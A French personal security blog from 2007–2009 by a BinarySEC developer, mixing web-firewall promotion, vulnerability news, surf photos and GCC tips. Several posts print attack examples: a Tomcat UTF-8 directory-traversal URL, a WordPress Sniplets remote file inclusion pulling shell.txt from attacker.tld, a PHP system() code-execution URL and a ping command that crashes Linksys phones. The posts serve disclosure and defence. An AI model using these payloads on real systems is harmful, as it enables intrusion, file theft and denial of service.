Michael VERGOZ

Aller au contenu | Aller au menu | Aller à la recherche

mercredi, mars 25 2009

BinarySEC Security As A Service protège les sites web disponible “dans le nuage”

BinarySEC lance l’offre BinarySEC Security as a Service, service de sécurisation des sites et applications web en mode entièrement managé. BinarySEC met à disposition “ in the Cloud ” son logiciel à base d’Intelligence Artificielle, afin de protéger à distance n’importe quel site web. Dans la pratique, le trafic des internautes transite par les passerelles de BinarySEC pour être sécurisé avant d’être traité sur le site web visité.

Disponible en quelques minutes, sous la forme d’un test gratuit pendant un mois puis avec abonnement, BinarySEC SaaS ne nécessite aucune intervention chez l’acquéreur de la solution. Un service de rapport mensuel d’activité permet de suivre les interventions du logiciel sur le site surveillé. En cas d’alerte sérieuse, un opérateur de BinarySEC contacte dans l’heure l’entreprise concernée.

BinarySEC SaaS présente de nombreux avantages :

- Pas d’intervention physique sur site pour l’installation et la maintenance,

- La solution inclut un système d’alerte en cas d’indisponibilité du site web. Le client ou son prestataire reçoivent alors un mail ou un SMS signalant l’indisponibilité,

- Atout supplémentaire : l’accélération de l’affichage des sites grâce à la technologie de Web Caching développée par BinarySEC.

BinarySEC SaaS est aussi une solution verte car elle fait l’économie de hardware et permet de mutualiser les ressources.

Opérationnelle depuis janvier 2009, BinarySEC SaaS compte déjà une centaine de sites en référence, dont de nombreuses mairies et communautés de communes, des institutionnels comme la Région Réunion, des sites e-commerce, des réseaux sociaux, des universités, des industriels, des médias ainsi que des hôpitaux et des hébergeurs comme Nexint et des web agencies.

La solution à base d’intelligence artificielle de BinarySEC permet de repérer les principales attaques subies par les sites web : vol de données confidentielles, cyber-squatting (comme le relais de spam ou l’enrôlement dans un réseau de robots), mise en indisponibilité d’un site par déni de service, manipulation des sites d’e-commerce, maquillage de site...

Tout l’intérêt et l’originalité de la solution BinarySEC résident dans sa faculté à trier le bon grain de l’ivraie, c’est à dire à filtrer le bon trafic et à apprendre vite et en permanence ce qu’il faut laisser passer ou bloquer. C’est le principe de la liste blanche ‘apprenante’ ou ‘dynamic profiling’ : le logiciel BinarySEC autorise uniquement le trafic qu’il reconnaît, parce qu’il l’a ‘appris’. Cette règle de la liste blanche qui s’adapte en permanence est le moyen le plus sûr de parvenir un jour au risque 0 et de mettre sous contrôle le trafic d’un site.

BinarySEC fournit déjà ses services de sécurisation des sites web à une cinquantaine de clients dont la Région Réunion ainsi qu’à des hébergeurs de sites web comme Nexint et Endemik.

Sources :

vendredi, mars 20 2009

Typo3 touché par une sérieuse faille local inclusion

Vous connaissez sûrement Typo3. C'est un puissant CMS (Content Management System) programmé en PHP fonctionnel (non objet). Le 10/02/2009, Marcus Krause et Michael Stucki, découvre une très sérieusement faille de type local inclusion dans Typo3. Cette faille est plus connu sous le nom du Typo3 jumpUrl.

En fait le jumpUrl permet soit de faire une redirection ou soit une inclusion d'un fichier installé sur le serveur local. Cependant dans le cas d'une inclusion locale, Typo3 va proposer un code (un genre de hash) afin de ne (soit disant) pas autoriser n'importe quelle inclusion !? Si ce code était vraiment secret cette technique pourrait fonctionner sauf que voilà ce code est « disclose » c'est à dire lisible pour tout le monde. Ainsi il est possible de bypasser « la sécurité » du code et permet donc l'inclusion de n'importe quel fichier sur le serveur. On se souvient tous de comment madchat c'est fait rooter ... une inclusion d'un log apache contenant un code PHP permet d'avoir un shell très facilement.

Encore aujourd'hui beaucoup de sites (et notamment français) sont touché par cette faille et ils ne savent pas qu'ils sont vulnérable.

A cause de la simplicité d'exploitation de la faille il était obligé qu'un n4x0R édite un exploit sur milworm...

PS: J'ai pris du temps avant de publier cette article car la faille est très grave.

Solutions :

  1. Patcher Typo3
  2. Utiliser BinarySEC :)

Références :

mardi, août 12 2008

Tomcat : Problème d'encodage UTF-8

Une faille de sécurité a été découverte par Simon Ryeo dans Apache Tomcat. Cette faille permet à un attaquant de recupère des fichiers important (comme /etc/passwd ou un fichier .htpasswd) sur le serveur visé.

En fait il est possible d'effectuer un Directory Traversal. Toute les versions de Tomcat inférieur à la version 6.0.18 sont touché.

Les conditions sont simples : Si allowLinking et URIencoding autorise l'UTF-8 dans votre context.xml ou votre server.xml alors il est possible de recupèrer des fichiers.

Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)

http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar

Solutions :

  1. Désactiver allowLinking ou ne pas utiliser l'UTF-8 dans URIencoding.
  2. Utiliser BinarySEC :)

Références :

jeudi, août 7 2008

Faille DNS #2 : On constate les dégâts

L'un des plus grand FAI Français, Free, subit depuis la sortie officielle de la faille DNS des attaques répété qui fatigue leur architecture DNS. Leur serveurs sont à jour mais comme je l'ais dit dans ma précédente brève la correction proposé par les Vendors DNS ne corrige pas le problème. Du coup les botnets se mettent à attaquer dur... très dur...

Pour le moment il n'existe aucune solution. En fait si, il existe une solution : bannir définitivement l'UDP des normes DNS... Solution relativement complexe à mettre en place puisque tout le monde doit accorder leur arc ...

Il n'existe pas d'autre solution. Il faut que ceux qui définissent les normes et ceux implémentent ces normes (Vendor) face quelque chose et vite...

La solution DNSSEC ne résoudra pas le problème comme cela avait été annoncé.

Il faut bannir l'UDP du DNS et maintenant.

Exploit Metasploit qui crée un bordel général

Merci à vYSa

mardi, juillet 22 2008

Faille DNS

C'est bien réel, la faille DNS est rendu publique (enfin). Le buzz a extrêmement bien fonctionné. La réalité c'est qu'il est possible de modifier les NS d'un domaine à distance mais il existe un certain nombre de paramètres pour que l'exploitation soit effective :

  • Il faut un provider (FAI) qui vous autorise à spoofer en UDP
  • Il faut envoyé environs 50000 possibilités cela représente ~5mo d'upload (une connexion ADSL suffit)
  • Il ne faut pas avoir DNSSEC :)

La faille consiste à prédire un port source UDP afin de poisonner le DNS visé.

Le patch fourni par ISC pour Bind9 ne corrige pas la faille au sens du design du protocole, elle augmente simplement le nombre de possibilité afin de rendre la prédiction du port moins probable. D'après certaines personnes l'attaque est toujours d'actualité mais nécessite ~100Go d'upload pour poisonner le DNS. L'attaque est maintenant réservé aux botnets capable d'envoyer ces données en quelque seconde... elle est donc distribuable. Plus de place pour la petite connexion ADSL avec laquelle on pouvait poisonné n'importe quel DNS.

En gros c'est pas fini...et ce n'est pas non plus ce type de faille qui aura la peau d'internet car il faut savoir que le DNS a était ajouté bien tard et qu'à l'époque seul les fichiers hosts (/etc/hosts) étaient utilisé et c'est très simple de les réutiliser.

Place au botnets maintenant.

Merci à lkm et yzarc

Références :

mardi, mars 25 2008

Failles critiques sur les produits VoIP Linksys

Le 24.03.2008 à 04:53 (locale) un certain Sipher envoi un mail sur la liste Bugtraq de SecurityFocus concernant un Denial Of Service sur le produit Linksys SPA-2102.

Après quelque minutes de réflection je pars dans des tests locaux sur un téléphone Linksys SPA-942 (version du firmware : 1.0.1(7817)) que je possede.

Un simple PING forgé avec un nombre de données égal à 65500 permet d'effectuer un DoS sur le matériel VoIP.

ping -s 65500 ip_phone

Sur le moment, il ne se passe rien. Puis après quelque secondes l'interface web du téléphone commence à ne plus me répondre... Surpris, je commence à regarder si les fonctions du téléphone sont encore disponible et là pareil, impossible de passer ou de recevoir un appel !

Même après un reboot hard du téléphone impossible de passer des appels et impossible de se connecter sur l'interface web.

Au niveau réseau, le téléphone arrive à s'autentifer une fois sur le serveur IP-PBX mais après quel secondes il ne répond plus aux requêtes SIP (notify, invite ...)

Bilan, cette commande ne génère pas qu'un Denial Of Service mais aussi un Buffer Overflow !

Je pense savoir à peut prêt les raisons pour lesquelles il déborde de la mémoire je ne vais pas étendre mes connaissances sur ce sujet. Tout ce que je peux dire c'est qu'il est possible de réinscrire la configuration du téléphone et qu'il est aussi possible d'écrire sur la mémoire type SSD du téléphone, c'est à dire écrire dans le noyau du téléphone pour par exemple exécuter un virus dans le téléphone. Concernant le type d'architecture je pense que c'est de l'ARM 3.

Et même après quelque "Factory Reset" le téléphone reste inutilisable. Je vais voir pour le réinitialiser d'une autre façon.

J'ai d'autre matériels du même type comme un SPA-3102 qui sont aussi vulnérables.

Je ne sais pas ce que Linksys a à dire mais le fameux Sipher ne semble pas avoir respecté les règles du "Good disclosure" qui consiste à informer le Vendor avant de publier l'information.

On verra comment tout cela ce goupille.

- Annonce sur le blog de Sipher

mercredi, mars 19 2008

vmsplice - la faille du retour vers le futur

Après avoir attendu prêt de 6 versions du kernel Linux pour que la failles vmsplice soit corrigé à 100% (elle ne l'est toujours pas même avec la 2.6.24-3) j'ai décidé dans mon coin de désactiver complètement de mon noyau certain appels systèmes.

cela concerne les syscalls sys_vmsplice(), sys_splice() , do_tee() et sys_tee()

Copier simplement ce fichier dans fs/ du répertoire source de Linux : http://webfault.org/data/splice.c

Et croyez le ou pas ce patch est très utile.

dimanche, mars 2 2008

Faille sur faille : La bombe du web est là

On dit souvent que c'est en passant le mot que les choses avancent. C'est la raison pour laquelle j'écris cette petite brève. Il faut comprendre une chose avant tout, le niveau critique de sécurité (ou d'insécurité) que nous avons atteint est rare / grave et c'est ce que je vais tenter d'expliquer rapidement.

Précédemment je parlais des failles dans Wordpress, Joomla et PHP-NUKE. Je ne sais pas dire combien de sites exactement utilisent ces Applications mais je connais un certain nombre de groupes d'utilisation. Par exemple, Joomla est reconnu pour être utilisé par les administrations et les sites d'informations. Wordpress est réputé pour être utilisé dans le domaines de l'édition sur le web (un peu comme Joomla) et crawler web. Et pour finir PHP-NUKE que je sais massivement utilisé par les "clans" de Joueurs.

Ensuite il faut prendre en considération trois autres choses :

La première est que ces sites sont, dans pratiquement tous les cas, hébergés sur des serveurs Apache / Linux sauf pour Wordpress qui peut se retrouver à tourner sous Windows et ces applications contiennent des failles connues et facilement exploitables.

La seconde est qu'il y a un nombre très important de failles LOCALES (nécessitant une authentification pour être exploitées) dans le noyau Linux. Vous me direz que ce ne sont que des failles locales. Il faut un contexte utilisateur à l'attaquant sur la machine et le serveur Web Apache qui héberge ces applications vulnérables est considéré comme un utilisateur simple au vu du noyau. Quand un attaquant pénètre le premier niveau - l'application web - il peut exécuter des programmes sur le serveur dans l'environnement de l'utilisateur Apache (www-data en général). A ce moment, les dégâts peuvent être limités MAIS il y a des failles LOCALES qui permettent à l'utilisateur d'élever ses privilèges ! L'attaquant va faire télécharger un petit code par le serveur puis ce dernier va le compiler et l'exécuter et l'utilisateur va finalement se retrouver directement root (administrateur) sur le serveur.

La troisième chose à considérer est les réseaux de Botnet. Quatre heures après la publication d'une faille d'escape shell dans PHP-NUKE je commençais déjà à recevoir des attaques de machine déjà piratées par cette même faille. Les hommes qui sont derrière ces Botnet sont comme des veilleurs et sont très opportunistes. Par la suite j'ai placé quelques pots de miel et je commençais déjà à recevoir des sources d'exploits publiés sur le site de milw0rm. En passant, j'ai un ami qui exécutait des vm complètes et se faisait pirater entièrement son serveur par des robots et des fois par des exploits (source d'un programme malveillant) inconnus.!?!!

La réalité du terrain est catastrophique. Les botnets se sont largement spécialisés et leur techniques sont issu es des White Hat voulant du full disclosure à tout prix. Qui sera capable d'en mesurer les conséquences ? Et qui serait capable de déterminer l'ampleur des dégâts ? La bombe atomique du web est là.

Quelques liens qui font peur :

milw0rm d0ng L!Nux !!HOT!!

Linux Kernel Prior to 2.6.24.1 'copy_from_user_mmap_sem()' Memory Access Vulnerability (Vulnerabilities)

Linux Kernel Prior to 2.6.24.1 '/proc' Local Memory Access Vulnerability

Linux Kernel Prior to 2.6.24.1 'vmsplice_to_user()' Local Memory Access

Linux Kernel Prior to 2.6.24.1 'vmsplice_to_pipe()' Local Privilege Escalation Vulnerability

lundi, février 25 2008

Wordpress fait froid dans le dos

Tout à l'heure vers 18:00 GMT+4 je vois un advisory sortir concernant le plugin Sniplets de Wordpress.

Je ne fais pas plus attention que ça. L'advisory compte trois failles dont deux que je considére comme critique. Une inclusion de fichiers distant (Remote File Inclusion) et d'une execution de code PHP à distance (Remote Code Execution).

Exemple du Remote File Inclusion
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?

Exemple du Remote Code Execution
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

Quelque heures plus tard nous commencons à recevoir une pluie de requêtes de spam sur nos sites venant de site piraté utilisant du Wordpress.

Après quelque minutes je me rend compte qu'il y a eu pas moins de 8 failles dans Wordpress sur le mois de Février.

Mettez à jour vos applications !

Liste de failles de Wordpress sur SecurityFocus

PHP NUKE devient la 2éme cible des botnets

Ce mois de Février est noir pour l'équipe de développement de PHP-NUKE avec pas moins de 14 vulnérabilités de type SQL injection.

Liste des vulnérabilités sur SecurityFocus

Il semble que les botnets utilisent ces techniques pour injecter des virus sur les sites web. Sur le site de BinarySEC nous avons déja reçu pas moins de 10 attaques venant de site web piraté utilisant PHP-NUKE vulnérable essayant de rebondir sur notre site web. Dans la majeur partie des cas les sites attaquant sont des sites de clan de jeux video.

La cible des botnets préféré reste sans aucun doute Joomla mais avec ces failles les sites web utilisant PHP-NUKE vont sérieusement se faire attaquer.

PHP-NUKE : Logiciel programmé en PHP permettant à un utilisateur de gérer du contenu et fonctionnalités web simplement.

lundi, février 18 2008

BinarySEC 2.4.0

Cette nouvelle version mineure de BinarySEC intègre un grand nombre d'améliorations. Le moteur d'intelligence artifielle a été amélioré avec notamment l'intégration d'un système de listes rouges, oranges et vertes.

Quand une requête est anormale, elle est classée comme alerte Orange (Anormale & Inconnue). Si celle-ci est un faux positif, vous pouvez la classer en Alerte Verte (Normale & Connue). Les alertes Oranges existantes correspondant à l'alerte Verte seront effacées et le trafic sera normalisé sur le serveur Web.

Si la requête était bien malicieuse et que vous ne souhaitez plus la logger, alors vous pouvez la classer en Alerte Rouge (Anormale & Connue). Toutes les alertes Oranges correspondant à l'alerte Rouge seront effacées et les nouvelles requêtes comparables seront traitées comme du trafic anormal.

L'autre évolution majeure est l'amélioration du moteur de corrélation qui lit plus rapidement les alertes en base de données.

Le tableau de bord et les statistiques ont été largement complétées.

Télécharger BinarySEC 2.4.0 gratuitement

Visiter BinarySEC

Annonce sur Freshmeat

mardi, septembre 25 2007

Belle photo du spot les Zegrette à l'ile de la réunion

Hop hop avant de me coucher voici une petite photo que j'ai pris il y a quelque temps au Zegrette (en hiver :) ) chez moi à l'île de la réunion. Belle photo des zegrette

Inspiration?

dimanche, septembre 16 2007

Compiler Apache sans SSP

Un autre petit tip pour compiler Apache 1.3 sans SSP.

$ ./configure --prefix=/je/sais/pas --exec-prefix=/je/sais/pas --enable-module=so
$ make CC="gcc -fno-stack-protector -DEAPI" LD="ld -fno-stack-protector"
$ readelf -a src/httpd | grep stack_chk

Et voila plus de SSP dans Apache :)

Pour Apache > 2.0 et pour APR il ne faut pas utiliser CC et LD mais CFLAGS, et LDFLAGS. En fait à l'époque Apache 1.3 ne gérait pas ces deux dernières variables.

$ make CFLAGS='-fno-stack-protector' LDFLAGS='-fno-stack-protector'

Carton rouge pour Gentoo

Gentoo farci Gentoo farça!

Bon je suis un peut dégouté de Gentoo car au départ, je m'attendais à un système de versionning fiable au niveau du portage et en fait rien, non seulement les références des packages sont perdues mais les sources finissent par disparaitre des mirrors Gentoo. En gros, impossible de faire tourner une vieille gentoo.

Autre chose pas cool, impossible d'emergeR une vieille version d'autoconf genre la 2.53 ou 2.13 nécessaire pour compiler différentes versions d'Apache. Comme dit un pote, comment on peut faire tourner des Gentoo en production ? :(

On est loin des Ports de FreeBSD.

vendredi, septembre 14 2007

Hermitage - Reunion island

Beau barrel à l'hermitage (ile de la reunion) avec Franck, un pote, dedans :) mv-

Compiler depuis un x86 vers un x86_64 avec GCC

Au départ je pensais que la compilation d'un fichier ELF x86_64 puis un x86 demandait forcément une cross compilation (CBUILD) d'un toolchain x86_64. Et en fait pas du tout, visiblement GCC intégre par défaut la possibilité de compiler vers un x86_64 depuis un x86 (et inversement) par contre pour changer totalement de processeur, typiquement de l'ARM, il est nécessaire de cross compiler des toolchain et là c'est pas la même histoire...

Un petit test :

root@zef:~# gcc -o test.bin test.c -m64
root@zef:~# file test.bin
test.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped
root@zef:~# gcc -o test.bin test.c -m32
root@zef:~# file test.bin
test.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped

Il faut savoir un truc c'est que ça ne fonctionne pas toujours. Par exemple si vous voulez compiler Apache 1.3 depuis un x86 vers du x86_64 eh bien cela ne sera pas possible car le Makefile d'Apache peut compiler des fichiers puis les executer pendant la compilation. La solution c'est d'avoir un CHOST x86_64 + support lib32 qui compile pour du x86_64 et x86.

GCC et le SSP

Depuis la version 2.4 de la glibc des symboles de controle ( comme __stack_chk_fail ) sont intégrés par defaut dans tous les binaires compilés. C'est le SSP dans GCC qui est responsable de cette action et il est possible de désactiver ce SSP avec l'option -fno-stack-protector.

Un petit code C comme exemple :

[c]
#include <stdio.h>
#include <pthread.h>

int main() {
        pthread_mutex_t fastmutex = PTHREAD_MUTEX_INITIALIZER;
        pthread_mutex_lock(&fastmutex);
        printf("Tst\n");
        pthread_mutex_unlock(&fastmutex);
}

Ensuite on teste :

none@zef:~# gcc -O2 -o test.bin test.c
none@zef:~# readelf -a test.bin | grep _stack_
080496c8  00000507 R_386_JUMP_SLOT   00000000   __stack_chk_fail
     5: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
    75: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2
none@zef:~# gcc -O2 -fno-stack-protector -o test.bin test.c
none@zef:~# readelf -a test.bin | grep _stack_
none@zef:~# 

Ca rend de fait portable le binaire pour des glibc > 2.3 :)

none@zef:~# file /lib/libc-2.5.so
/lib/libc-2.5.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, stripped
none@zef:~# gcc -O2 -o test.bin test.c
none@zef:~# readelf -a test.bin | grep -i GLIBC_2.4
     5: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
  004:   2 (GLIBC_2.0)     3 (GLIBC_2.4)     2 (GLIBC_2.0)     1 (*global*)
  0x0010:   Name: GLIBC_2.4  Flags: none  Version: 3
none@zef:~# gcc -O2 -fno-stack-protector -o test.bin test.c
none@zef:~# readelf -a test.bin | grep -i GLIBC_2.4
none@zef:~#